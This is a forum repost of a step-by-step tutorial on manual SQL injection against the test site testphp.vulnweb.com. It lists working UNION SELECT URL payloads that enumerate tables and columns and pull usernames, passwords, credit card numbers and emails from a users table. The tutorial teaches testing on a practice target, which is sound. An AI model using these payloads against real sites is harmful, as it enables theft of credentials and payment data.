• We just launched and are currently in beta. Join us as we build and grow the community.

Advertise Here

Advertise Here

Advertise Here

Manual SQL Injection Exploitation Step by Step

shaieve

Data Privacy Advocate
Divine
S Rep
0
0
0
Rep
0
S Vouches
0
0
0
Vouches
0
Posts
111
Likes
44
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 2 1000 XP
This article is based on our previous article where you have learned different techniques to perform SQL injection manually using dhakkan. Today we are again performing SQL injection manually on a live website “vulnweb.com” in order to reduce your stress of installing setup of dhakkan.

We are going to apply the same concept and techniques as performed in Dhakkan on a different the platform

Let’s begin!


Open given below targeted URL in the browser

Code:
http://testphp.vulnweb.com/artists.php?artist=1

So here we are going test SQL injection for “id=1″

1.png


Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.

Code:
testphp.vulnweb.com/artists.php?artist=1'

In the given screenshot you can see we have got an error message which means the running site is infected by SQL injection.

2.png


Now using ORDER BY keyword to sort the records in ascending or descending order for id=1

Code:
http://testphp.vulnweb.com/artists.php?artist=1 order by 1

3.png


Similarly repeating for order 2, 3 and so on one by one

Code:
http://testphp.vulnweb.com/artists.php?artist=1 order by 2

4.png


Code:
http://testphp.vulnweb.com/artists.php?artist=1 order by 4

From the screenshot, you can see we have got an error at the order by 4 which means it consists only three records.

5.png


Let’s penetrate more inside using union base injection to select statement from a different table.

Code:
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

From the screenshot, you can see it is show result for only one table not for others.

6.png


Now try to pass wrong input into the database through URL by replacing artist=1 from artist=-1 as given below:

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3

Hence you can see now it is showing the result for the remaining two tables also.

7.png


Use the next query to fetch the name of the database

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

From the screenshot, you can read the database name acuart

8.png


Next query will extract the current username as well as a version of the database system

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as the current user

9.png


Through the next query, we will try to fetch table name inside the database

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1

From the screenshot you read can the name of the first table is artists.

artist.png


Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

From the screenshot you can read the name of the second table is carts.

10.png


Similarly, repeat the same query for another table with slight change

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

We got table 3: categ

11.png


Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

We got table 4: featured

12.png


Similarly repeat the same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

We got table 7: users

13.png


Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

Since we didn’t get anything when the limit is set 8, 1 hence there might be 8 tables only inside the database.

14.png


the concat function is used for concatenation of two or more string into a single string.

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

From screen you can see through concat function we have successfully retrieved all table name inside the

database.

Code:
Table 1: artist
Table 2: Carts
Table 3: Categ
Table 4: Featured
Table 5: Guestbook
Table 6: Pictures
Table 7: Product
Table 8: users

15.png


Maybe we can get some important data from the users table, so let’s penetrate more inside. Again Use the concat function for table users for retrieving its entire column names.

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

Awesome!! We successfully retrieve all eight column names from inside the table users.

Then I have chosen only four columns i.e. uname, pass, email and cc for further enumeration.

16.png


Use the concat function for selecting uname from table users by executing the following query through URL

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users

From the screenshot, you can read uname: test

17.png


Use the concat function for selecting pass from table users by executing the following query through URL

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from users

From the screenshot, you can read pass: test

18.png


Use the concat function for selecting cc (credit card) from table users by executing the following query through URL

Code:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users

From the screenshot, you can read cc: 1234-5678-2300-9000

19.png


Use the concat function for selecting email from table users by executing the following query through URL

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users

From the screenshot, you can read email: [email protected]

Enjoy hacking!!

20.png


Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here
 

452,498

347,867

347,876

Top